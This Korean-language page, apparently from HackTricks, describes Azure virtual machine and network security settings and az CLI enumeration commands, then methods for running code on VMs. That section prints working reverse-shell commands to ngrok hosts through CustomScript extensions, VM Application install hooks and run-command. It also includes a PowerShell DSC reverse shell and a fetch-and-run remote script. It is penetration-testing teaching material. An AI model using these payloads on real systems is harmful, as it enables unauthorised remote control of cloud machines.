Az - 가상 머신 및 네트워크

Reading time: 24 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Azure 네트워킹 기본 정보

Azure 네트워크는 다양한 엔터티와 구성 방법을 포함합니다. 다양한 Azure 네트워크 엔터티에 대한 간략한 설명, 예제열거 명령을 찾을 수 있습니다:

Az - Azure Network

VMs 기본 정보

Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는 클라우드 기반 서버로, Windows 또는 Linux 운영 체제를 실행할 수 있습니다. 이를 통해 물리적 하드웨어를 관리하지 않고도 애플리케이션과 작업 부하를 배포할 수 있습니다. Azure VMs는 특정 요구 사항을 충족하고 가상 네트워크, 스토리지 및 보안 도구와 같은 Azure 서비스와 통합하기 위해 다양한 CPU, 메모리 및 스토리지 옵션으로 구성할 수 있습니다.

보안 구성

  • 가용성 영역: 가용성 영역은 특정 Azure 지역 내에서 물리적으로 분리된 데이터 센터의 독립적인 그룹으로, 지역적인 중단이나 재해로 인해 여러 영역이 영향을 받는 위험을 최소화합니다.
  • 보안 유형:
  • 표준 보안: 특정 구성이 필요하지 않은 기본 보안 유형입니다.
  • 신뢰할 수 있는 시작: 이 보안 유형은 Secure Boot 및 Virtual Trusted Platform Module(vTPM)을 사용하여 부트킷 및 커널 수준의 맬웨어에 대한 보호를 강화합니다.
  • 기밀 VM: 신뢰할 수 있는 시작 위에 VM, 하이퍼바이저 및 호스트 관리 간의 하드웨어 기반 격리를 제공하고, 디스크 암호화를 개선하며 더 많은 정보를 제공합니다.
  • 인증: 기본적으로 새로운 SSH 키가 생성되며, 공개 키를 사용하거나 이전 키를 사용할 수 있으며 기본 사용자 이름은 azureuser입니다. 비밀번호를 사용하도록 구성할 수도 있습니다.
  • VM 디스크 암호화: 디스크는 기본적으로 플랫폼 관리 키를 사용하여 정지 상태에서 암호화됩니다.
  • 호스트에서 암호화를 활성화할 수도 있으며, 이 경우 데이터는 스토리지 서비스로 전송되기 전에 호스트에서 암호화되어 호스트와 스토리지 서비스 간의 종단 간 암호화를 보장합니다 (문서).
  • NIC 네트워크 보안 그룹:
  • 없음: 기본적으로 모든 포트를 엽니다.
  • 기본: HTTP(80), HTTPS(443), SSH(22), RDP(3389)와 같은 수신 포트를 쉽게 열 수 있습니다.
  • 고급: 보안 그룹을 선택합니다.
  • 백업: 표준 백업(하루에 한 번) 및 향상된 백업(하루에 여러 번)을 활성화할 수 있습니다.
  • 패치 조정 옵션: 선택한 정책에 따라 VM에 자동으로 패치를 적용할 수 있도록 합니다. 문서에서 설명합니다.
  • 알림: VM에서 무언가 발생할 때 이메일이나 모바일 앱으로 자동 알림을 받을 수 있습니다. 기본 규칙:
  • CPU 사용률이 80%를 초과
  • 사용 가능한 메모리 바이트가 1GB 미만
  • 데이터 디스크 IOPS 소비 비율이 95%를 초과
  • OS IOPS 소비 비율이 95%를 초과
  • 총 네트워크가 500GB를 초과
  • 총 네트워크 아웃이 200GB를 초과
  • VmAvailabilityMetric이 1 미만
  • 상태 모니터: 기본적으로 포트 80에서 HTTP 프로토콜을 확인합니다.
  • 잠금: VM을 잠가 읽기 전용(ReadOnly 잠금)으로 설정하거나 읽고 업데이트할 수 있지만 삭제할 수 없는(CanNotDelete 잠금) 상태로 설정할 수 있습니다.
  • 대부분의 VM 관련 리소스는 디스크, 스냅샷 등과 같은 잠금을 지원합니다.
  • 잠금은 리소스 그룹 및 구독 수준에서도 적용할 수 있습니다.

디스크 및 스냅샷

  • 2개 이상의 VM에 디스크를 연결할 수 있도록 활성화할 수 있습니다.
  • 기본적으로 모든 디스크는 플랫폼 키로 암호화됩니다.
  • 스냅샷에서도 동일합니다.
  • 기본적으로 모든 네트워크에서 디스크를 공유할 수 있지만, 특정 개인 접근으로 제한하거나 공개 및 개인 접근을 완전히 비활성화할 수 있습니다.
  • 스냅샷에서도 동일합니다.
  • 디스크를 내보내기 위해 SAS URI(최대 60일)를 생성할 수 있으며, 인증이 필요하도록 구성할 수 있습니다.
  • 스냅샷에서도 동일합니다.
bash
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

이미지, 갤러리 이미지 및 복원 지점

VM 이미지는 새로운 가상 머신(VM)을 생성하는 데 필요한 운영 체제, 애플리케이션 설정 및 파일 시스템을 포함하는 템플릿입니다. 이미지와 디스크 스냅샷의 차이점은 디스크 스냅샷이 주로 백업 또는 문제 해결을 위해 사용되는 단일 관리 디스크의 읽기 전용 시점 복사본인 반면, 이미지는 여러 디스크를 포함할 수 있으며 새로운 VM을 생성하기 위한 템플릿으로 사용되도록 설계되었습니다.
이미지는 Azure의 이미지 섹션 또는 Azure 컴퓨트 갤러리 내에서 관리할 수 있으며, 이를 통해 버전을 생성하고 이미지를 크로스 테넌트로 공유하거나 공개할 수 있습니다.

복원 지점은 VM 구성과 시점 애플리케이션 일관성 스냅샷을 저장합니다. 이는 VM과 관련이 있으며, 특정 시점에서 VM을 복원할 수 있도록 하는 것이 목적입니다.

bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

문서에서: Site Recovery는 중단 동안 비즈니스 앱과 워크로드가 계속 실행되도록 하여 비즈니스 연속성을 보장하는 데 도움을 줍니다. Site Recovery는 기본 사이트에서 보조 위치로 물리적 및 가상 머신(VM)에서 실행되는 워크로드를 복제합니다. 기본 사이트에서 중단이 발생하면 보조 위치로 전환하고 그곳에서 앱에 접근합니다. 기본 위치가 다시 실행되면 다시 전환할 수 있습니다.

Azure Bastion

Azure Bastion은 Azure Portal 또는 점프 박스를 통해 가상 머신(VM)에 대한 안전하고 원활한 원격 데스크톱 프로토콜(RDP)보안 셸(SSH) 접근을 가능하게 합니다. VM에서 공용 IP 주소의 필요성을 제거합니다.

Bastion은 작동해야 하는 VNet에 /26 넷마스크를 가진 **AzureBastionSubnet**이라는 서브넷을 배포합니다. 그런 다음, 브라우저를 통해 내부 VM에 연결할 수 있도록 하여 VM의 포트를 인터넷에 노출하지 않도록 합니다. 또한 점프 호스트로도 작동할 수 있습니다.

구독 내 모든 Azure Bastion 호스트를 나열하고 이를 통해 VM에 연결하려면 다음 명령을 사용할 수 있습니다:

bash
# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

메타데이터

Azure 인스턴스 메타데이터 서비스(IMDS)는 실행 중인 가상 머신 인스턴스에 대한 정보를 제공하여 관리 및 구성에 도움을 줍니다. SKU, 스토리지, 네트워크 구성 및 예정된 유지 관리 이벤트에 대한 정보와 같은 세부정보를 제공하며, 비라우터 IP 주소 169.254.169.254에서 사용할 수 있는 REST API를 통해 접근할 수 있으며, 이는 VM 내에서만 접근 가능합니다. VM과 IMDS 간의 통신은 호스트 내에서 이루어져 안전한 접근을 보장합니다. IMDS를 쿼리할 때, VM 내의 HTTP 클라이언트는 적절한 통신을 보장하기 위해 웹 프록시를 우회해야 합니다.

또한, 메타데이터 엔드포인트에 연락하기 위해 HTTP 요청에는 Metadata: true 헤더가 있어야 하며 X-Forwarded-For 헤더는 없어야 합니다.

다음에서 이를 열거하는 방법을 확인하세요:

Cloud SSRF - HackTricks

VM 열거

bash
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

VMs에서 코드 실행

VM 확장

Azure VM 확장은 Azure 가상 머신(VM)에서 배포 후 구성 및 자동화 작업을 제공하는 작은 애플리케이션입니다.

이것은 VM 내부에서 임의의 코드를 실행할 수 있게 합니다.

필요한 권한은 **Microsoft.Compute/virtualMachines/extensions/write**입니다.

사용 가능한 모든 확장을 나열하는 것은 가능합니다:

bash
# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

사용자 정의 코드를 실행하는 사용자 정의 확장을 실행할 수 있습니다:

  • 리버스 셸 실행
bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • 인터넷에 위치한 스크립트 실행
bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

관련 VM 확장

필요한 권한은 여전히 **Microsoft.Compute/virtualMachines/extensions/write**입니다.

VMAccess 확장

이 확장은 Windows VM 내의 사용자 비밀번호를 수정하거나(존재하지 않는 경우 생성) 할 수 있게 해줍니다.

bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

이것은 Azure Windows VM의 구성을 관리하기 위해 PowerShell DSC를 사용하는 Microsoft의 VM 확장입니다. 따라서 이 확장을 통해 Windows VM에서 임의의 명령을 실행하는 데 사용할 수 있습니다:

bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
하이브리드 런북 워커

이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 자세한 내용은 Automation Accounts service를 확인하세요.

VM 애플리케이션

이것은 VM에서 애플리케이션을 쉽게 추가하고 제거하는 데 사용할 수 있는 애플리케이션 데이터 및 설치 및 제거 스크립트가 포함된 패키지입니다.

bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

이것은 애플리케이션이 파일 시스템 내에서 다운로드되는 경로입니다:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

새로운 애플리케이션 설치 방법은 https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli에서 확인하세요.

caution

개별 앱과 갤러리를 다른 구독이나 테넌트와 공유하는 것이 가능합니다. 이는 공격자가 애플리케이션에 백도어를 설치하고 다른 구독 및 테넌트로 이동할 수 있게 해줄 수 있기 때문에 매우 흥미롭습니다.

하지만 vm 앱을 위한 "마켓플레이스"는 존재하지 않습니다. 확장 프로그램을 위한 마켓플레이스와는 다릅니다.

필요한 권한은 다음과 같습니다:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

임의의 명령을 실행하기 위한 악용 예시:

bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

사용자 데이터

이것은 지속적인 데이터로, 메타데이터 엔드포인트에서 언제든지 검색할 수 있습니다. Azure에서 사용자 데이터는 AWS 및 GCP와 다르다는 점에 유의하세요. 여기에 스크립트를 배치하면 기본적으로 실행되지 않습니다.

사용자 정의 데이터

예상 경로에 저장될 데이터를 VM에 전달하는 것이 가능합니다:

  • Windows에서는 사용자 정의 데이터가 %SYSTEMDRIVE%\AzureData\CustomData.bin에 이진 파일로 저장되며 처리되지 않습니다.
  • Linux에서는 /var/lib/waagent/ovf-env.xml에 저장되었고 현재는 /var/lib/waagent/CustomData/ovf-env.xml에 저장됩니다.
  • Linux 에이전트: 기본적으로 사용자 정의 데이터를 처리하지 않으며, 데이터가 활성화된 사용자 정의 이미지가 필요합니다.
  • cloud-init: 기본적으로 사용자 정의 데이터를 처리하며 이 데이터는 여러 형식일 수 있습니다. 사용자 정의 데이터에 스크립트만 보내면 쉽게 스크립트를 실행할 수 있습니다.
  • Ubuntu와 Debian이 여기에 넣은 스크립트를 실행하는 것을 확인했습니다.
  • 이 스크립트가 실행되기 위해 사용자 데이터를 활성화할 필요도 없습니다.
bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

명령 실행

이것은 Azure가 VM에서 임의의 명령을 실행하기 위해 제공하는 가장 기본적인 메커니즘입니다. 필요한 권한은 Microsoft.Compute/virtualMachines/runCommand/action입니다.

bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

권한 상승

Az - Virtual Machines & Network Privesc

인증되지 않은 접근

Az - VMs Unauth

포스트 익스플로잇

Az - VMs & Network Post Exploitation

지속성

Az - VMs Persistence

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기